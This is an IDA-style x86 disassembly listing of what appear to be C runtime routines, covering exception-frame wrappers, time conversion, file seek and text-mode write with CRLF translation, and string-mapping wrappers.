loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427900
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh


loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2


loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427910
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DB328
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------


loc_422599:				; DATA XREF: ___:00427920o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42259D:				; DATA XREF: ___:00427924o
		mov	esp, [ebp+var_18]


loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0


loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_4225AD:				; DATA XREF: ___:00427918o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43C8C4
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------


loc_4225EF:				; DATA XREF: ___:00427938o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4225F3:				; DATA XREF: ___:0042793Co
		mov	esp, [ebp+var_18]


loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0


loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422603:				; DATA XREF: ___:00427930o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DC908
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------


loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]


loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DC904
		call	near ptr 2650000h
		nop


loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43CD8C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi


loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43CCA8
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43CCAC, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721


loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43CCB0


loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------


loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh


loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DC6C0
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB278, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 2760000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		nop
		call	near ptr 2680000h
		jmp	short loc_422791
; ---------------------------------------------------------------------------


loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax


loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------


loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9


loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh


loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx


loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DC5C0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx


loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]


loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------


loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB278, 16h


loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------


loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]


loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------


loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------


loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB


loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]


loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]


loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DC6C0
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E


loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------


loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch


loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85


loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]


loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4


loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E


loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi


loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB278, 9
		mov	dword_4DB27C, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------


loc_422A42:				; CODE XREF: sub_42291D+E0j
		call	near ptr 2680000h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------


loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A6F:				; CODE XREF: sub_42291D+145j
		nop
		call	near ptr 2680000h
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967


loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB278, 1Ch
		mov	dword_4DB27C, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------


loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9


loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh


loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427948
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DB34C, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DB34C, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------


loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CAE2C
		push	esi
		push	edi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DB34C, 2


loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DB34C
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		jmp	loc_422C5A
; ---------------------------------------------------------------------------


loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax


loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	near ptr 2800000h
		nop
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2800000h
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2630000h
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jnz	loc_422CE7


loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax


loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------


loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27F116Ah
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58


loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------


loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DB350
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DB350, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43C940
		mov	edx, dword_43C944
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43C8D0h[esi*4]


